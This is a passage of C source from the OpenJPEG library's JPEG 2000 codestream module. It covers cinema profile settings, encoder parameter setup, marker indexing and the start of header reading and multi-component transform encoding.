6 (rather than %d)\n", parameters->numresolution + 1); parameters->numresolution = 7; } break; default : break; } /* Precincts */ parameters->csty |= 0x01; if (parameters->numresolution == 1) { parameters->res_spec = 1; parameters->prcw_init[0] = 128; parameters->prch_init[0] = 128; } else { parameters->res_spec = parameters->numresolution - 1; for (i = 0; i < parameters->res_spec; i++) { parameters->prcw_init[i] = 256; parameters->prch_init[i] = 256; } } /* The progression order shall be CPRL */ parameters->prog_order = OPJ_CPRL; /* Progression order changes for 4K, disallowed for 2K */ if (parameters->rsiz == OPJ_PROFILE_CINEMA_4K) { parameters->numpocs = (OPJ_UINT32)opj_j2k_initialise_4K_poc(parameters->POC, parameters->numresolution); } else { parameters->numpocs = 0; } /* Limited bit-rate */ parameters->cp_disto_alloc = 1; if (parameters->max_cs_size <= 0) { /* No rate has been introduced, 24 fps is assumed */ parameters->max_cs_size = OPJ_CINEMA_24_CS; opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1302083 compressed bytes @ 24fps\n" "As no rate has been given, this limit will be used.\n"); } else if (parameters->max_cs_size > OPJ_CINEMA_24_CS) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1302083 compressed bytes @ 24fps\n" "-> Specified rate exceeds this limit. Rate will be forced to 1302083 bytes.\n"); parameters->max_cs_size = OPJ_CINEMA_24_CS; } if (parameters->max_comp_size <= 0) { /* No rate has been introduced, 24 fps is assumed */ parameters->max_comp_size = OPJ_CINEMA_24_COMP; opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1041666 compressed bytes @ 24fps\n" "As no rate has been given, this limit will be used.\n"); } else if (parameters->max_comp_size > OPJ_CINEMA_24_COMP) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1041666 compressed bytes @ 24fps\n" "-> Specified rate exceeds this limit. Rate will be forced to 1041666 bytes.\n"); parameters->max_comp_size = OPJ_CINEMA_24_COMP; } parameters->tcp_rates[0] = (OPJ_FLOAT32)(image->numcomps * image->comps[0].w * image->comps[0].h * image->comps[0].prec) / (OPJ_FLOAT32)(((OPJ_UINT32)parameters->max_cs_size) * 8 * image->comps[0].dx * image->comps[0].dy); } static OPJ_BOOL opj_j2k_is_cinema_compliant(opj_image_t *image, OPJ_UINT16 rsiz, opj_event_mgr_t *p_manager) { OPJ_UINT32 i; /* Number of components */ if (image->numcomps != 3) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "3 components" "-> Number of components of input image (%d) is not compliant\n" "-> Non-profile-3 codestream will be generated\n", image->numcomps); return OPJ_FALSE; } /* Bitdepth */ for (i = 0; i < image->numcomps; i++) { if ((image->comps[i].bpp != 12) | (image->comps[i].sgnd)) { char signed_str[] = "signed"; char unsigned_str[] = "unsigned"; char *tmp_str = image->comps[i].sgnd ? signed_str : unsigned_str; opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "Precision of each component shall be 12 bits unsigned" "-> At least component %d of input image (%d bits, %s) is not compliant\n" "-> Non-profile-3 codestream will be generated\n", i, image->comps[i].bpp, tmp_str); return OPJ_FALSE; } } /* Image size */ switch (rsiz) { case OPJ_PROFILE_CINEMA_2K: if (((image->comps[0].w > 2048) | (image->comps[0].h > 1080))) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "width <= 2048 and height <= 1080\n" "-> Input image size %d x %d is not compliant\n" "-> Non-profile-3 codestream will be generated\n", image->comps[0].w, image->comps[0].h); return OPJ_FALSE; } break; case OPJ_PROFILE_CINEMA_4K: if (((image->comps[0].w > 4096) | (image->comps[0].h > 2160))) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-4 (4k dc profile) requires:\n" "width <= 4096 and height <= 2160\n" "-> Image size %d x %d is not compliant\n" "-> Non-profile-4 codestream will be generated\n", image->comps[0].w, image->comps[0].h); return OPJ_FALSE; } break; default : break; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_setup_encoder(opj_j2k_t *p_j2k, opj_cparameters_t *parameters, opj_image_t *image, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, j, tileno, numpocs_tile; opj_cp_t *cp = 00; if (!p_j2k || !parameters || ! image) { return OPJ_FALSE; } if ((parameters->numresolution <= 0) || (parameters->numresolution > OPJ_J2K_MAXRLVLS)) { opj_event_msg(p_manager, EVT_ERROR, "Invalid number of resolutions : %d not in range [1,%d]\n", parameters->numresolution, OPJ_J2K_MAXRLVLS); return OPJ_FALSE; } /* keep a link to cp so that we can destroy it later in j2k_destroy_compress */ cp = &(p_j2k->m_cp); /* set default values for cp */ cp->tw = 1; cp->th = 1; /* FIXME ADE: to be removed once deprecated cp_cinema and cp_rsiz have been removed */ if (parameters->rsiz == OPJ_PROFILE_NONE) { /* consider deprecated fields only if RSIZ has not been set */ OPJ_BOOL deprecated_used = OPJ_FALSE; switch (parameters->cp_cinema) { case OPJ_CINEMA2K_24: parameters->rsiz = OPJ_PROFILE_CINEMA_2K; parameters->max_cs_size = OPJ_CINEMA_24_CS; parameters->max_comp_size = OPJ_CINEMA_24_COMP; deprecated_used = OPJ_TRUE; break; case OPJ_CINEMA2K_48: parameters->rsiz = OPJ_PROFILE_CINEMA_2K; parameters->max_cs_size = OPJ_CINEMA_48_CS; parameters->max_comp_size = OPJ_CINEMA_48_COMP; deprecated_used = OPJ_TRUE; break; case OPJ_CINEMA4K_24: parameters->rsiz = OPJ_PROFILE_CINEMA_4K; parameters->max_cs_size = OPJ_CINEMA_24_CS; parameters->max_comp_size = OPJ_CINEMA_24_COMP; deprecated_used = OPJ_TRUE; break; case OPJ_OFF: default: break; } switch (parameters->cp_rsiz) { case OPJ_CINEMA2K: parameters->rsiz = OPJ_PROFILE_CINEMA_2K; deprecated_used = OPJ_TRUE; break; case OPJ_CINEMA4K: parameters->rsiz = OPJ_PROFILE_CINEMA_4K; deprecated_used = OPJ_TRUE; break; case OPJ_MCT: parameters->rsiz = OPJ_PROFILE_PART2 | OPJ_EXTENSION_MCT; deprecated_used = OPJ_TRUE; case OPJ_STD_RSIZ: default: break; } if (deprecated_used) { opj_event_msg(p_manager, EVT_WARNING, "Deprecated fields cp_cinema or cp_rsiz are used\n" "Please consider using only the rsiz field\n" "See openjpeg.h documentation for more details\n"); } } /* If no explicit layers are provided, use lossless settings */ if (parameters->tcp_numlayers == 0) { parameters->tcp_numlayers = 1; parameters->cp_disto_alloc = 1; parameters->tcp_rates[0] = 0; } /* see if max_codestream_size does limit input rate */ if (parameters->max_cs_size <= 0) { if (parameters->tcp_rates[parameters->tcp_numlayers - 1] > 0) { OPJ_FLOAT32 temp_size; temp_size = (OPJ_FLOAT32)(image->numcomps * image->comps[0].w * image->comps[0].h * image->comps[0].prec) / (parameters->tcp_rates[parameters->tcp_numlayers - 1] * 8 * (OPJ_FLOAT32)image->comps[0].dx * (OPJ_FLOAT32)image->comps[0].dy); parameters->max_cs_size = (int) floor(temp_size); } else { parameters->max_cs_size = 0; } } else { OPJ_FLOAT32 temp_rate; OPJ_BOOL cap = OPJ_FALSE; temp_rate = (OPJ_FLOAT32)(image->numcomps * image->comps[0].w * image->comps[0].h * image->comps[0].prec) / (OPJ_FLOAT32)(((OPJ_UINT32)parameters->max_cs_size) * 8 * image->comps[0].dx * image->comps[0].dy); for (i = 0; i < (OPJ_UINT32) parameters->tcp_numlayers; i++) { if (parameters->tcp_rates[i] < temp_rate) { parameters->tcp_rates[i] = temp_rate; cap = OPJ_TRUE; } } if (cap) { opj_event_msg(p_manager, EVT_WARNING, "The desired maximum codestream size has limited\n" "at least one of the desired quality layers\n"); } } /* Manage profiles and applications and set RSIZ */ /* set cinema parameters if required */ if (OPJ_IS_CINEMA(parameters->rsiz)) { if ((parameters->rsiz == OPJ_PROFILE_CINEMA_S2K) || (parameters->rsiz == OPJ_PROFILE_CINEMA_S4K)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Scalable Digital Cinema profiles not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else { opj_j2k_set_cinema_parameters(parameters, image, p_manager); if (!opj_j2k_is_cinema_compliant(image, parameters->rsiz, p_manager)) { parameters->rsiz = OPJ_PROFILE_NONE; } } } else if (OPJ_IS_STORAGE(parameters->rsiz)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Long Term Storage profile not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (OPJ_IS_BROADCAST(parameters->rsiz)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Broadcast profiles not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (OPJ_IS_IMF(parameters->rsiz)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 IMF profiles not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (OPJ_IS_PART2(parameters->rsiz)) { if (parameters->rsiz == ((OPJ_PROFILE_PART2) | (OPJ_EXTENSION_NONE))) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Part-2 profile defined\n" "but no Part-2 extension enabled.\n" "Profile set to NONE.\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (parameters->rsiz != ((OPJ_PROFILE_PART2) | (OPJ_EXTENSION_MCT))) { opj_event_msg(p_manager, EVT_WARNING, "Unsupported Part-2 extension enabled\n" "Profile set to NONE.\n"); parameters->rsiz = OPJ_PROFILE_NONE; } } /* copy user encoding parameters */ cp->m_specific_param.m_enc.m_max_comp_size = (OPJ_UINT32) parameters->max_comp_size; cp->rsiz = parameters->rsiz; cp->m_specific_param.m_enc.m_disto_alloc = (OPJ_UINT32) parameters->cp_disto_alloc & 1u; cp->m_specific_param.m_enc.m_fixed_alloc = (OPJ_UINT32) parameters->cp_fixed_alloc & 1u; cp->m_specific_param.m_enc.m_fixed_quality = (OPJ_UINT32) parameters->cp_fixed_quality & 1u; /* mod fixed_quality */ if (parameters->cp_fixed_alloc && parameters->cp_matrice) { size_t array_size = (size_t)parameters->tcp_numlayers * (size_t)parameters->numresolution * 3 * sizeof(OPJ_INT32); cp->m_specific_param.m_enc.m_matrice = (OPJ_INT32 *) opj_malloc(array_size); if (!cp->m_specific_param.m_enc.m_matrice) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate copy of user encoding parameters matrix \n"); return OPJ_FALSE; } memcpy(cp->m_specific_param.m_enc.m_matrice, parameters->cp_matrice, array_size); } /* tiles */ cp->tdx = (OPJ_UINT32)parameters->cp_tdx; cp->tdy = (OPJ_UINT32)parameters->cp_tdy; /* tile offset */ cp->tx0 = (OPJ_UINT32)parameters->cp_tx0; cp->ty0 = (OPJ_UINT32)parameters->cp_ty0; /* comment string */ if (parameters->cp_comment) { cp->comment = (char*)opj_malloc(strlen(parameters->cp_comment) + 1U); if (!cp->comment) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate copy of comment string\n"); return OPJ_FALSE; } strcpy(cp->comment, parameters->cp_comment); } else { /* Create default comment for codestream */ const char comment[] = "Created by OpenJPEG version "; const size_t clen = strlen(comment); const char *version = opj_version(); /* UniPG>> */ #ifdef USE_JPWL cp->comment = (char*)opj_malloc(clen + strlen(version) + 11); if (!cp->comment) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate comment string\n"); return OPJ_FALSE; } sprintf(cp->comment, "%s%s with JPWL", comment, version); #else cp->comment = (char*)opj_malloc(clen + strlen(version) + 1); if (!cp->comment) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate comment string\n"); return OPJ_FALSE; } sprintf(cp->comment, "%s%s", comment, version); #endif /* <<UniPG */ } /* calculate other encoding parameters */ if (parameters->tile_size_on) { cp->tw = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(image->x1 - cp->tx0), (OPJ_INT32)cp->tdx); cp->th = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(image->y1 - cp->ty0), (OPJ_INT32)cp->tdy); } else { cp->tdx = image->x1 - cp->tx0; cp->tdy = image->y1 - cp->ty0; } if (parameters->tp_on) { cp->m_specific_param.m_enc.m_tp_flag = (OPJ_BYTE)parameters->tp_flag; cp->m_specific_param.m_enc.m_tp_on = 1; } #ifdef USE_JPWL /* calculate JPWL encoding parameters */ if (parameters->jpwl_epc_on) { OPJ_INT32 i; /* set JPWL on */ cp->epc_on = OPJ_TRUE; cp->info_on = OPJ_FALSE; /* no informative technique */ /* set EPB on */ if ((parameters->jpwl_hprot_MH > 0) || (parameters->jpwl_hprot_TPH[0] > 0)) { cp->epb_on = OPJ_TRUE; cp->hprot_MH = parameters->jpwl_hprot_MH; for (i = 0; i < JPWL_MAX_NO_TILESPECS; i++) { cp->hprot_TPH_tileno[i] = parameters->jpwl_hprot_TPH_tileno[i]; cp->hprot_TPH[i] = parameters->jpwl_hprot_TPH[i]; } /* if tile specs are not specified, copy MH specs */ if (cp->hprot_TPH[0] == -1) { cp->hprot_TPH_tileno[0] = 0; cp->hprot_TPH[0] = parameters->jpwl_hprot_MH; } for (i = 0; i < JPWL_MAX_NO_PACKSPECS; i++) { cp->pprot_tileno[i] = parameters->jpwl_pprot_tileno[i]; cp->pprot_packno[i] = parameters->jpwl_pprot_packno[i]; cp->pprot[i] = parameters->jpwl_pprot[i]; } } /* set ESD writing */ if ((parameters->jpwl_sens_size == 1) || (parameters->jpwl_sens_size == 2)) { cp->esd_on = OPJ_TRUE; cp->sens_size = parameters->jpwl_sens_size; cp->sens_addr = parameters->jpwl_sens_addr; cp->sens_range = parameters->jpwl_sens_range; cp->sens_MH = parameters->jpwl_sens_MH; for (i = 0; i < JPWL_MAX_NO_TILESPECS; i++) { cp->sens_TPH_tileno[i] = parameters->jpwl_sens_TPH_tileno[i]; cp->sens_TPH[i] = parameters->jpwl_sens_TPH[i]; } } /* always set RED writing to false: we are at the encoder */ cp->red_on = OPJ_FALSE; } else { cp->epc_on = OPJ_FALSE; } #endif /* USE_JPWL */ /* initialize the mutiple tiles */ /* ---------------------------- */ cp->tcps = (opj_tcp_t*) opj_calloc(cp->tw * cp->th, sizeof(opj_tcp_t)); if (!cp->tcps) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate tile coding parameters\n"); return OPJ_FALSE; } if (parameters->numpocs) { /* initialisation of POC */ opj_j2k_check_poc_val(parameters->POC, parameters->numpocs, (OPJ_UINT32)parameters->numresolution, image->numcomps, (OPJ_UINT32)parameters->tcp_numlayers, p_manager); /* TODO MSD use the return value*/ } for (tileno = 0; tileno < cp->tw * cp->th; tileno++) { opj_tcp_t *tcp = &cp->tcps[tileno]; tcp->numlayers = (OPJ_UINT32)parameters->tcp_numlayers; for (j = 0; j < tcp->numlayers; j++) { if (OPJ_IS_CINEMA(cp->rsiz)) { if (cp->m_specific_param.m_enc.m_fixed_quality) { tcp->distoratio[j] = parameters->tcp_distoratio[j]; } tcp->rates[j] = parameters->tcp_rates[j]; } else { if (cp->m_specific_param.m_enc.m_fixed_quality) { /* add fixed_quality */ tcp->distoratio[j] = parameters->tcp_distoratio[j]; } else { tcp->rates[j] = parameters->tcp_rates[j]; } } } tcp->csty = (OPJ_UINT32)parameters->csty; tcp->prg = parameters->prog_order; tcp->mct = (OPJ_UINT32)parameters->tcp_mct; numpocs_tile = 0; tcp->POC = 0; if (parameters->numpocs) { /* initialisation of POC */ tcp->POC = 1; for (i = 0; i < parameters->numpocs; i++) { if (tileno + 1 == parameters->POC[i].tile) { opj_poc_t *tcp_poc = &tcp->pocs[numpocs_tile]; tcp_poc->resno0 = parameters->POC[numpocs_tile].resno0; tcp_poc->compno0 = parameters->POC[numpocs_tile].compno0; tcp_poc->layno1 = parameters->POC[numpocs_tile].layno1; tcp_poc->resno1 = parameters->POC[numpocs_tile].resno1; tcp_poc->compno1 = parameters->POC[numpocs_tile].compno1; tcp_poc->prg1 = parameters->POC[numpocs_tile].prg1; tcp_poc->tile = parameters->POC[numpocs_tile].tile; numpocs_tile++; } } tcp->numpocs = numpocs_tile - 1 ; } else { tcp->numpocs = 0; } tcp->tccps = (opj_tccp_t*) opj_calloc(image->numcomps, sizeof(opj_tccp_t)); if (!tcp->tccps) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate tile component coding parameters\n"); return OPJ_FALSE; } if (parameters->mct_data) { OPJ_UINT32 lMctSize = image->numcomps * image->numcomps * (OPJ_UINT32)sizeof( OPJ_FLOAT32); OPJ_FLOAT32 * lTmpBuf = (OPJ_FLOAT32*)opj_malloc(lMctSize); OPJ_INT32 * l_dc_shift = (OPJ_INT32 *)((OPJ_BYTE *) parameters->mct_data + lMctSize); if (!lTmpBuf) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate temp buffer\n"); return OPJ_FALSE; } tcp->mct = 2; tcp->m_mct_coding_matrix = (OPJ_FLOAT32*)opj_malloc(lMctSize); if (! tcp->m_mct_coding_matrix) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate encoder MCT coding matrix \n"); return OPJ_FALSE; } memcpy(tcp->m_mct_coding_matrix, parameters->mct_data, lMctSize); memcpy(lTmpBuf, parameters->mct_data, lMctSize); tcp->m_mct_decoding_matrix = (OPJ_FLOAT32*)opj_malloc(lMctSize); if (! tcp->m_mct_decoding_matrix) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate encoder MCT decoding matrix \n"); return OPJ_FALSE; } if (opj_matrix_inversion_f(lTmpBuf, (tcp->m_mct_decoding_matrix), image->numcomps) == OPJ_FALSE) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Failed to inverse encoder MCT decoding matrix \n"); return OPJ_FALSE; } tcp->mct_norms = (OPJ_FLOAT64*) opj_malloc(image->numcomps * sizeof(OPJ_FLOAT64)); if (! tcp->mct_norms) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate encoder MCT norms \n"); return OPJ_FALSE; } opj_calculate_norms(tcp->mct_norms, image->numcomps, tcp->m_mct_decoding_matrix); opj_free(lTmpBuf); for (i = 0; i < image->numcomps; i++) { opj_tccp_t *tccp = &tcp->tccps[i]; tccp->m_dc_level_shift = l_dc_shift[i]; } if (opj_j2k_setup_mct_encoding(tcp, image) == OPJ_FALSE) { /* free will be handled by opj_j2k_destroy */ opj_event_msg(p_manager, EVT_ERROR, "Failed to setup j2k mct encoding\n"); return OPJ_FALSE; } } else { if (tcp->mct == 1 && image->numcomps >= 3) { /* RGB->YCC MCT is enabled */ if ((image->comps[0].dx != image->comps[1].dx) || (image->comps[0].dx != image->comps[2].dx) || (image->comps[0].dy != image->comps[1].dy) || (image->comps[0].dy != image->comps[2].dy)) { opj_event_msg(p_manager, EVT_WARNING, "Cannot perform MCT on components with different sizes. Disabling MCT.\n"); tcp->mct = 0; } } for (i = 0; i < image->numcomps; i++) { opj_tccp_t *tccp = &tcp->tccps[i]; opj_image_comp_t * l_comp = &(image->comps[i]); if (! l_comp->sgnd) { tccp->m_dc_level_shift = 1 << (l_comp->prec - 1); } } } for (i = 0; i < image->numcomps; i++) { opj_tccp_t *tccp = &tcp->tccps[i]; tccp->csty = parameters->csty & 0x01; /* 0 => one precinct || 1 => custom precinct */ tccp->numresolutions = (OPJ_UINT32)parameters->numresolution; tccp->cblkw = (OPJ_UINT32)opj_int_floorlog2(parameters->cblockw_init); tccp->cblkh = (OPJ_UINT32)opj_int_floorlog2(parameters->cblockh_init); tccp->cblksty = (OPJ_UINT32)parameters->mode; tccp->qmfbid = parameters->irreversible ? 0 : 1; tccp->qntsty = parameters->irreversible ? J2K_CCP_QNTSTY_SEQNT : J2K_CCP_QNTSTY_NOQNT; tccp->numgbits = 2; if ((OPJ_INT32)i == parameters->roi_compno) { tccp->roishift = parameters->roi_shift; } else { tccp->roishift = 0; } if (parameters->csty & J2K_CCP_CSTY_PRT) { OPJ_INT32 p = 0, it_res; assert(tccp->numresolutions > 0); for (it_res = (OPJ_INT32)tccp->numresolutions - 1; it_res >= 0; it_res--) { if (p < parameters->res_spec) { if (parameters->prcw_init[p] < 1) { tccp->prcw[it_res] = 1; } else { tccp->prcw[it_res] = (OPJ_UINT32)opj_int_floorlog2(parameters->prcw_init[p]); } if (parameters->prch_init[p] < 1) { tccp->prch[it_res] = 1; } else { tccp->prch[it_res] = (OPJ_UINT32)opj_int_floorlog2(parameters->prch_init[p]); } } else { OPJ_INT32 res_spec = parameters->res_spec; OPJ_INT32 size_prcw = 0; OPJ_INT32 size_prch = 0; assert(res_spec > 0); /* issue 189 */ size_prcw = parameters->prcw_init[res_spec - 1] >> (p - (res_spec - 1)); size_prch = parameters->prch_init[res_spec - 1] >> (p - (res_spec - 1)); if (size_prcw < 1) { tccp->prcw[it_res] = 1; } else { tccp->prcw[it_res] = (OPJ_UINT32)opj_int_floorlog2(size_prcw); } if (size_prch < 1) { tccp->prch[it_res] = 1; } else { tccp->prch[it_res] = (OPJ_UINT32)opj_int_floorlog2(size_prch); } } p++; /*printf("\nsize precinct for level %d : %d,%d\n", it_res,tccp->prcw[it_res], tccp->prch[it_res]); */ } /*end for*/ } else { for (j = 0; j < tccp->numresolutions; j++) { tccp->prcw[j] = 15; tccp->prch[j] = 15; } } opj_dwt_calc_explicit_stepsizes(tccp, image->comps[i].prec); } } if (parameters->mct_data) { opj_free(parameters->mct_data); parameters->mct_data = 00; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_add_mhmarker(opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len) { assert(cstr_index != 00); /* expand the list? */ if ((cstr_index->marknum + 1) > cstr_index->maxmarknum) { opj_marker_info_t *new_marker; cstr_index->maxmarknum = (OPJ_UINT32)(100 + (OPJ_FLOAT32) cstr_index->maxmarknum); new_marker = (opj_marker_info_t *) opj_realloc(cstr_index->marker, cstr_index->maxmarknum * sizeof(opj_marker_info_t)); if (! new_marker) { opj_free(cstr_index->marker); cstr_index->marker = NULL; cstr_index->maxmarknum = 0; cstr_index->marknum = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); */ return OPJ_FALSE; } cstr_index->marker = new_marker; } /* add the marker */ cstr_index->marker[cstr_index->marknum].type = (OPJ_UINT16)type; cstr_index->marker[cstr_index->marknum].pos = (OPJ_INT32)pos; cstr_index->marker[cstr_index->marknum].len = (OPJ_INT32)len; cstr_index->marknum++; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_add_tlmarker(OPJ_UINT32 tileno, opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len) { assert(cstr_index != 00); assert(cstr_index->tile_index != 00); /* expand the list? */ if ((cstr_index->tile_index[tileno].marknum + 1) > cstr_index->tile_index[tileno].maxmarknum) { opj_marker_info_t *new_marker; cstr_index->tile_index[tileno].maxmarknum = (OPJ_UINT32)(100 + (OPJ_FLOAT32) cstr_index->tile_index[tileno].maxmarknum); new_marker = (opj_marker_info_t *) opj_realloc( cstr_index->tile_index[tileno].marker, cstr_index->tile_index[tileno].maxmarknum * sizeof(opj_marker_info_t)); if (! new_marker) { opj_free(cstr_index->tile_index[tileno].marker); cstr_index->tile_index[tileno].marker = NULL; cstr_index->tile_index[tileno].maxmarknum = 0; cstr_index->tile_index[tileno].marknum = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add tl marker\n"); */ return OPJ_FALSE; } cstr_index->tile_index[tileno].marker = new_marker; } /* add the marker */ cstr_index->tile_index[tileno].marker[cstr_index->tile_index[tileno].marknum].type = (OPJ_UINT16)type; cstr_index->tile_index[tileno].marker[cstr_index->tile_index[tileno].marknum].pos = (OPJ_INT32)pos; cstr_index->tile_index[tileno].marker[cstr_index->tile_index[tileno].marknum].len = (OPJ_INT32)len; cstr_index->tile_index[tileno].marknum++; if (type == J2K_MS_SOT) { OPJ_UINT32 l_current_tile_part = cstr_index->tile_index[tileno].current_tpsno; if (cstr_index->tile_index[tileno].tp_index) { cstr_index->tile_index[tileno].tp_index[l_current_tile_part].start_pos = pos; } } return OPJ_TRUE; } /* * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- */ OPJ_BOOL opj_j2k_end_decompress(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { (void)p_j2k; (void)p_stream; (void)p_manager; return OPJ_TRUE; } OPJ_BOOL opj_j2k_read_header(opj_stream_private_t *p_stream, opj_j2k_t* p_j2k, opj_image_t** p_image, opj_event_mgr_t* p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); /* create an empty image header */ p_j2k->m_private_image = opj_image_create0(); if (! p_j2k->m_private_image) { return OPJ_FALSE; } /* customization of the validation */ if (! opj_j2k_setup_decoding_validation(p_j2k, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* validation of the parameters codec */ if (! opj_j2k_exec(p_j2k, p_j2k->m_validation_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* customization of the encoding */ if (! opj_j2k_setup_header_reading(p_j2k, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* read header */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } *p_image = opj_image_create0(); if (!(*p_image)) { return OPJ_FALSE; } /* Copy codestream image information to the output image */ opj_copy_image_header(p_j2k->m_private_image, *p_image); /*Allocate and initialize some elements of codestrem index*/ if (!opj_j2k_allocate_tile_element_cstr_index(p_j2k)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_header_reading(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_read_header_procedure, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom procedures */ if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_copy_default_tcp_and_create_tcd, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_decoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_build_decoder, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_decoding_validation, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom validation procedure */ return OPJ_TRUE; } static OPJ_BOOL opj_j2k_mct_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_is_valid = OPJ_TRUE; OPJ_UINT32 i, j; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); if ((p_j2k->m_cp.rsiz & 0x8200) == 0x8200) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; opj_tcp_t * l_tcp = p_j2k->m_cp.tcps; for (i = 0; i < l_nb_tiles; ++i) { if (l_tcp->mct == 2) { opj_tccp_t * l_tccp = l_tcp->tccps; l_is_valid &= (l_tcp->m_mct_coding_matrix != 00); for (j = 0; j < p_j2k->m_private_image->numcomps; ++j) { l_is_valid &= !(l_tccp->qmfbid & 1); ++l_tccp; } } ++l_tcp; } } return l_is_valid; } OPJ_BOOL opj_j2k_setup_mct_encoding(opj_tcp_t * p_tcp, opj_image_t * p_image) { OPJ_UINT32 i; OPJ_UINT32 l_indix = 1; opj_mct_data_t * l_mct_deco_data = 00, * l_mct_offset_data = 00; opj_simple_mcc_decorrelation_data_t * l_mcc_data; OPJ_UINT32 l_mct_size, l_nb_elem; OPJ_FLOAT32 * l_data, * l_current_data; opj_tccp_t * l_tccp; /* preconditions */ assert(p_tcp != 00); if (p_tcp->mct != 2) { return OPJ_TRUE; } if (p_tcp->m_mct_decoding_matrix) { if (p_tcp->m_nb_mct_records == p_tcp->m_nb_max_mct_records) { opj_mct_data_t *new_mct_records; p_tcp->m_nb_max_mct_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mct_records = (opj_mct_data_t *) opj_realloc(p_tcp->m_mct_records, p_tcp->m_nb_max_mct_records * sizeof(opj_mct_data_t)); if (! new_mct_records) { opj_free(p_tcp->m_mct_records); p_tcp->m_mct_records = NULL; p_tcp->m_nb_max_mct_records = 0; p_tcp->m_nb_mct_records = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to setup mct encoding\n"); */ return OPJ_FALSE; } p_tcp->m_mct_records = new_mct_records; l_mct_deco_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; memset(l_mct_deco_data, 0, (p_tcp->m_nb_max_mct_records - p_tcp->m_nb_mct_records) * sizeof( 